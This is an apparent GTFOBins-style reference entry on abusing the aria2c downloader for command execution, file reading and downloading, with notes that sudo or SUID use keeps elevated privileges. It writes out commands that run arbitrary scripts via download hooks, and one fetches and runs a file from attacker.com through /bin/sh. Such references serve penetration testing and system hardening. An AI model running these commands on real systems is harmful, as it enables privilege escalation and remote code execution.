aria2c
Command
This executable can run non-interactive system commands.
- This function can be performed by any unprivileged user.
echo /path/to/command >/path/to/temp-file chmod +x /path/to/temp-file aria2c --on-download-error=/path/to/temp-file http://some-invalid-domainThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.echo /path/to/command >/path/to/temp-file chmod +x /path/to/temp-file aria2c --on-download-error=/path/to/temp-file http://some-invalid-domainThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.echo /path/to/command >/path/to/temp-file chmod +x /path/to/temp-file aria2c --on-download-error=/path/to/temp-file http://some-invalid-domain - This function can be performed by any unprivileged user.
aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=/bin/sh http://attacker.com/aaaaaaaaaaaaaaaaThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=/bin/sh http://attacker.com/aaaaaaaaaaaaaaaaThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=/bin/sh http://attacker.com/aaaaaaaaaaaaaaaa
File read
This executable can read data from local files.
- This function can be performed by any unprivileged user.
aria2c -i /path/to/input-fileThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.aria2c -i /path/to/input-fileThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.aria2c -i /path/to/input-file
Download
This executable can download remote data.
- This function can be performed by any unprivileged user.
aria2c -o /path/to/ouput-file http://attacker.com/path/to/input-fileThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.aria2c -o /path/to/ouput-file http://attacker.com/path/to/input-fileThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.aria2c -o /path/to/ouput-file http://attacker.com/path/to/input-file